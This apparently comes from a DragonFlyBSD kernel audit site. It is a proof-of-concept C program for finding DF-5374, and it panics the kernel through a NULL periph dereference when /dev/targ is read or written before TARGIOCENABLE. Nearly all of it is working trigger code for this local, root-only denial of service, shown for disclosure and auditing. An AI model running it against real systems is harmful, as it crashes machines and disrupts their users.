⬢ DragonFlyBSD Kernel Audit
DF-5374 / poc5374.c
← back to finding ↓ download raw
/*
 * DF-5374 PoC: NULL-periph deref panic in targwrite()/targread().
 *
 * scsi_target.c:566-602 (targwrite) and :874 (targread) call
 * cam_periph_lock(softc->periph) (= CAM_SIM_LOCK(periph->sim)) with
 * softc->periph == NULL whenever the daemon reads or writes /dev/targ
 * before a successful TARGIOCENABLE.  There is no state check anywhere
 * on these two paths.
 *
 * Usage: ./poc5374 [r|w]      (default: w)
 *   w -> write()  a CCB pointer   -> panic in targwrite/cam_periph_lock
 *   r -> read()                   -> panic in targread/cam_periph_lock
 *
 * Expected: kernel "Fatal trap 12: page fault while in kernel mode"
 * at a low fixed virtual address (offsetof(struct cam_periph, sim)),
 * backtrace cam_periph_lock <- targwrite <- devfs/dwrite.
 *
 * Must run as root (the /dev/targ clone node is created 0600 root:wheel
 * and targopen caps_priv_check_self(SYSCAP_RESTRICTEDROOT)).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

#include <bus/cam/cam.h>
#include <bus/cam/cam_ccb.h>

int
main(int argc, char **argv)
{
	union ccb uccb;
	unsigned long p;
	int fd, mode = (argc > 1 && argv[1][0] == 'r') ? 'r' : 'w';

	printf("[*] DF-5374: opening /dev/targ (clone master)\n");
	fd = open("/dev/targ", O_RDWR);
	if (fd < 0) {
		printf("[-] open failed: %s\n", strerror(errno));
		return (1);
	}
	printf("[+] opened clone fd %d; state=TARG_STATE_OPENED, "
	    "softc->periph == NULL, no TARGIOCENABLE issued\n", fd);

	memset(&uccb, 0, sizeof(uccb));
	uccb.ccb_h.pinfo.priority = 5;
	uccb.ccb_h.func_code = XPT_NOOP;
	p = (unsigned long)(uintptr_t)&uccb;

	if (mode == 'r') {
		printf("[*] read(%d) BEFORE enable -> expect NULL-deref "
		    "panic in targread/cam_periph_lock NOW\n", fd);
		fflush(stdout);
		char buf[8];
		read(fd, buf, sizeof(buf));
		printf("[-] read returned (errno=%d) - NO PANIC\n", errno);
	} else {
		printf("[*] write(%d, ccb) BEFORE enable -> expect NULL-deref "
		    "panic in targwrite/cam_periph_lock NOW\n", fd);
		fflush(stdout);
		ssize_t n = write(fd, &p, sizeof(p));
		printf("[-] write returned %zd (errno=%d) - NO PANIC\n",
		    n, errno);
	}
	close(fd);
	return (0);
}